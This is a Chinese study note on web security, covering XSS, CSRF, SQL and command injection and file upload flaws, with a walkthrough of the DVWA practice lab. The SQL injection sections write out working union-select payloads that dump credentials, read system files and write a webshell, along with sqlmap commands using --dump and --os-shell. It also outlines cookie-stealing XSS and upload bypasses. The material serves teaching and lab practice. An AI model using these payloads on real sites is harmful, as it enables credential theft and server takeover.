web基础知识
前端漏洞:钓鱼、暗链、xss、点击劫持、csrf、url跳转
后端漏洞:sql注入、命令注入、文件上传、文件包含、暴力破解
例子
报文
熟悉状态码
目前流行的网站架构
搭建phpstudy集成软件
在PHPstudy的mySQL中操作SQL语法
创建数据库 CREATE DATABASE my_db;
查看数据库 SHOW databases;
切换数据库 USE my_db;
删除数据库 DROP DATABASE my_db;
TIPS:分号作为语句的结束,程序中会自动补充
web安全基础
常见的安全事件
篡改网页
搜索引擎语法Site:domain(在某个域名或子域名下的网页)+Intitle:keyword(正文中含有关键词的网页)/Intitle:keyword(标题中含有关键词的网页)
exa:keyword为hacked by:时往往能查到自己管理域名下被黑的网站
——————————————————————————————————————————————————————
暗链
优化在搜索引擎里的排名
不是为人准备,是为搜索引擎中的爬虫准备的。
——————————————————————————————————————————————————————
webshell
获得管理权限后->上传webshell=(小/大)马=后门
——————————————————————————————————————————————————————
常见web漏洞
XSS Who stole my keys
概念:黑客通过”html注入”篡改网页,插入了恶意脚本(即xss脚本),当用户在浏览网页时,实现控制用户浏览器行为的一种攻击方式。
危害:盗取用户信息/钓鱼/制造蠕虫等
三种类型 :存储型/反射型/DOM型
存储型:攻击代码位置:数据库;输出:HTTP响应
反射型:攻击代码位置:url ;输出:HTTP响应。
DOM型:攻击代码位置:url ;输出:DOM节点。
——存储型演示——
左管理端/右访问端
上传xss脚本
结果
—––反射型演示——
——DOM型演示——
不能通过查看源代码的方式找到xss脚本的位置,通过firebug可以。
在源码中输入hash
总结
——————————————————————————————————————————————————————
CSRF who moved my cheese
概念:利用用户已登陆的身份,在用户毫不知情的情况下,以用户的名义完成非法操作。
危害:执行恶意操作(被转账/被发垃圾评论等)/制造蠕虫等
黑客构造的恶意网页
——————————————————————————————————————————————————————
点击劫持
概念:通过覆盖不可见的框架误导受害者点击而造成的攻击行为。利用iframe或者其他标签的属性。
效果
——————————————————————————————————————————————————————
URL跳转
概念
header头跳转
js跳转
meta标签实现跳转
——————————————————————————————————————————————————————
SQL
原理:数据和代码未分离,即数据当成了代码来执行
一次SQL注入的过程
SQL注入的必备条件
1.可以控制输入的数据
2.服务器要执行的代码拼接了控制的数据
危害:获取数据库信息
管理员后台用户名和密码
获取其他数据库敏感信息:用户名/密码/手机号码/身份证/银行卡信息…
整个数据库:脱裤
获取服务器权限
植入webshell,获取服务器后门
读取服务器敏感文件
万能密码
——————————————————————————————————————————————————————
命令注入
step:
1.调用可执行系统命令的函数
2.函数或函数参数可控(条件
3.拼接注入命令
& 拼接符,一次执行拼接的命令
| 管道符,前面命令的输出作为后面命令的输入
PHP执行命令的函数
system/exec/shell_exec/eval……
一个函数或函数参数都不可控的例子
命令执行的结果跟DOS环境中一样
一个参数可控的例子
拼接过程。注:&符号需转义为%26
——————————————————————————————————————————————————————
文件操作漏洞
文件上传漏洞
1.可以上传可执行脚本
2.脚本拥有执行权限
任意文件下载漏洞
1.未验证下载文件格式
2.未限制请求的路径
文件包含漏洞
本地文件包含
远程文件包含
重要的两个参数:allow_url_fopen = On(是否允许打开远程文件);allow_url_include = On(是否允许包含远程文件);
web安全工具
代理抓包分析工具
web漏洞扫描工具初级
在线工具
传统web站点渗透测试基本步骤
——————————————————————————————————————————————————————
比较流行的代理抓包工具
Burpsuite/charles/fiddler
浏览器插件
Advanced Cookie Manager/Firebug/HackBar/Proxy Switcher
Firebug:网络与审查页面元素
Hackbar:构造数据包
Cookie Manager:修改Cookie值
——————————————————————————————————————————————————————
敏感文件探测
部署python环境
敏感文件:敏感文件对于网站来说,就像是网站(网站管理员)的秘密日记,这些文件没有被保护好被访问者发现了,就有可能暴露站点的脆弱性或保密数据。
常见的”敏感文件“类型:
网站管理后台(login.xx)/数据文件(.sql)/备份文件(.tar.gz)/webshell(.php?)/
常用软件:御剑/add:用py自写字典生成器
tips:判断站点脚本类型asp/php/aspx/jsp
1.判断网站下index.xxx(xxx为asp/php等)类型是否存在
——————————————————————————————————————————————————————
漏扫工具
AWVS/Netsparker/AppScan
风险
- 对目标站点的误伤(高流量,请求了危险功能(如删除数据库)…)
- 漏扫的盲区:逻辑漏洞
——————————————————————————————————————————————————————
SQL注入漏洞
sqlmap获取
发现和利用sql注入漏洞基本流程
1.找到有数据库交互的功能页面(如:xxx/artist.php?artist=1 问号+参数)
2.判断页面是否存在sql注入(artist=1' 报错存在注入)
3.利用sql注入漏洞读取数据
进行注入尝试:GET/POST
sqlmap中level和risk参数的作用
实战
DVWA环境的部署
1.下载DVWA到www目录下
2.config文件下config.inc.php文件中的$_DVWA[ 'db_password' ]项改为自己mysql的密码
3.访问localhost/dvwa路径/setup.php检测环境是否配置好
4.访问localhost/dvwa路径/login.php 登陆名默认为admin/密码默认为password
===============================================================================================
- 1.暴力破解
辅助工具owasp zap(官网www.owasp.org)
===============================================================================================
- 2.命令注入
命令拼接符
A&B | 简单拼接,AB无制约 |
A&&B | A执行成功,接着才能执行B |
A|B | A的输出作为B的输入 |
A||B | A执行失败才会执行B |
技巧:不显示输出结果…
ADD:DNS查询
===============================================================================================
- 3.CSRF
==============low============
HH-Tamperdata抓包 -> Replay in browser -> 改包 ->构造js/html(包装url)
==============medium============
HH-Tamperdata抓包 -> Replay in browser -> 改包 ->构造html(Tamper Popup:改变referer)
==============high============
===============================================================================================
- 4.文件包含
==============low============
本地文件执行
远程文件执行
dvwa的host,远程执行文件成功
==============medium============
本地文件执行
远程文件执行
dvwa的host,远程执行文件成功
==============high============
本地文件执行
远程文件执行
phpinfo.txt内容
dvwa的host,远程执行文件成功
===============================================================================================
- 5.文件上传
==============low============
cmd.php文件内容
==============medium============
step1.proxy switcher&zap设置代理开启
step2.两次抓包结果对比(right/wrong;zap)
step3.不断用成功上传包的内容替换失败的位置,进行重放,然后看响应包的结果;确定文件类型被服务端限制
step4修改文件类型->发送修改后的包->后续操作与low等级一样
==============high============
制作”内涵图”
cmd:copy R.jpg/b + W.txt/a 2.jpg
W.txt内容
除了借助文件包含漏洞,还可借助web容器解析漏洞
如:nginx解析漏洞
phpstudy切换->确认变量cgi.fix_pathinfo=1
畸形解析
xxx/xxx.php只要前一个文件存在,就会当成后面php文件的解析
==============impossible============
文件重命名/文件压缩重生成/存储目录执行权限/存储目录与web分离
===============================================================================================
- 6.SQL回显注入
需检测到id参数sql注入
http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/ ?id=1 &Submit#
如果存在注入,则会报错并且把错误的信息展示出来
You have an error in your SQL…
三种注入POC;判断闭合方式
…where user_id = $id =》 …where user_id = 1 or 1024=1024
…where user_id =’ $id’ =》 …where user_id = ‘1′ or ‘1024’=’1024′
…where user_id = ”$id” =》 …where user_id = ”1” or ”1024”=”1024”
sql注入中通常需要闭合,如果yu’j语句比较复杂,则使用sql注释符闭合
# –空格 /**/
#:与url中的#区分,常编码成%23
查询之前需要确定查询字段数
1′ order by 25— =》 ?id=1’+order+by+25–+
再利用二分法查找
==============low============
——获取数据库的敏感信息——
确定回显点
?id=xx’+union+select+1,2–+
查询数据库版本/目录)
?id=xx’+union+select+@@version,@@datadir–+
查询用户名/数据库名(查到数据库dvwa)
?id=xx’+union+select+user(),database()–+
查询表名(查到表users)
?id=xx’+union+select+1,table_name+from+information_schema.tables+where+table_schema=’dvwa‘–+
查询列名
?id=xx’+union+select+1,column_name+from+information_schema.columns+where+table_name=’users‘–+
查询用户名/密码
?id=xx’+union+select+user,password+from+users–+
——获取系统的敏感信息——
文件读取
?id=xx’+union+select+1,load_file(“c:\\windows\\win.ini”)–+
——控制服务器——
写入webshell
php一句话木马
前提:需知写入的地方,即木马放置的物理路径
套路:引发异常,暴出物理路径
1.构造错误的sql语句
?id=xx’+union+select+“xx”,”xx”+into+outfile+”xx”–+
2.成功获取web目录
D:\phpstudy\www\DVWA-1.9\vulnerabilities\sqli\source\low.php
3.写入webshell
?id=xx’+union+select+“”,”webshell“+into+outfile+’DVWA-1.9\\cmd.php’–+
4.访问,成功写入
5.成功读取
sqlmap了解一下?
登陆状态下
攻击参数
sqlmap -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/ ?id=1 &Submit#” -p “id” –cookie “cookie参数”
查询用户和数据库
qlmap -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/ ?id=1 &Submit#” -p “id” –cookie “cookie参数” –current-user –current-db
查询表
sqlmap -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/ ?id=1 &Submit#” -p “id” –cookie “cookie参数” -D dvwa –tables
查询列名
sqlmap -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/ ?id=1 &Submit#” -p “id” –cookie “cookie参数” -D dvwa -T user –columns
sqlmap -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/ ?id=1 &Submit#” -p “id” –cookie “cookie参数” -D dvwa -T user -C “user,password” –dump
上传webshell
sqlmap -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/ ?id=1 &Submit#” -p “id” –cookie “cookie参数” -D dvwa -T user -C “user,password” –os-shell
============medium============
Tamper Data改包
单引号转义: 利用hackbar上把数据库名(dvxa)HEX编码0x64767761 =》 重新发包
sqlmap自动
多了一个–data
sqlmap.py -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/” –data “id=1 &Submit#” -p “id” –cookie “cookie参数”
==============high============
手工相似
sqlmap需要一些技巧
多了–data和–second-order
sqlmap -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/session-input.php(跳转后的页面)” –data “id=1 &Submit#” -p “id” –cookie “cookie参数” –second-order “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/(原页面)“
===============================================================================================
- 7.SQL盲注
数据库的执行结果不会直接显示在页面上,页面的结果只会显示真和假两种状态
三种注入POC;判断闭合方式
…where user_id = $id =》 …where user_id = 1 and 1024=1025
…where user_id =’ $id’ =》 …where user_id = ‘1′ and ‘1024’=’1025′
…where user_id = ”$id” =》 …where user_id = ”1” and ”1024”=”1025”
先猜解长度
1′ and length(database()) >25 — =》 ?id=1’+and+length(database()) >25+–+ 利用二分法查找
再猜解字符
利用函数substr(expression,start,length)获取定义内的字符/子字符串 expresstion:原始字符串,start:子串开始位置,length子串长度
利用函数ascii(string)获取第一个字符的ascii数值
?id=1’+and+ascii(substr(database(),1,1))>64+–+ 二分法对每一个字符进行比对查找
SQL盲注分:布尔型(以上这类)/延时型(以下这类)
函数if(A,1,0) A为真返回1,为假返回0
?id=1’+and+sleep(if(length(database())=5,5,0))–+
真
假
注:此外除了真假/延时,还有benchmark(count,expr)函数可利用
sqlmap
==============low============
同回显注入一样
==============medium============
一样
==============high============
失效
Firebug分析:id写到了cookie中再提交
sqlmap.py -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli_blind/” -p “id” –cookie “cookie参数” –lever 2
注:lever>=2
==============impossible============
检测了id数据类型,使用了预编译绑定id变量;
===============================================================================================
- 8.xss
客户端代码注入,通常注入代码是js脚本
能弹窗,就说明存在xss
————————————————–反射型———————————————————–
==============low============
建立一个cookie.php文件,放入数据库根目录下(localhost/)
插入弹窗脚本
弹窗,说面存在xss
替换成远程盗取cookie的语句
进行URL编码后即可在本地服务器指定位置(localhost/)下得到(hacked)用户的cookie
跳转到登陆页面,更换cookie,直接访问首页(login.php -> index.php)
==============medium============
tip:大小写混合
==============high============
img标签 F12查看成功插入标签
iframe标签
==============impossible============
输入&”‘<> F12查看 &"’<> 除了单引号外其他符号都被编码
查看源码htmlspecialchars函数过滤了(函数中默认不对‘编码,但’依然有xss的风险)
————————————————–存储型———————————————————–
==============low============
前端限制:输入长度被限制
TamperData绕过:直接改包
查看结果:成功绕过限制。name和message都注入chen成功
==============medium============
大小写混合
name成功,message失败
==============high============
img标签成功绕过
name成功,message失败
==============impossible============
单引号被转义为/‘,其他符号被编码
mysql_real_escape_string()函数对引号转义,防止sql注入
————————————————–修复–———————————————————-
一是用户的输入:黑名单×白名单√
二是服务端的输出:html编码/js转义
END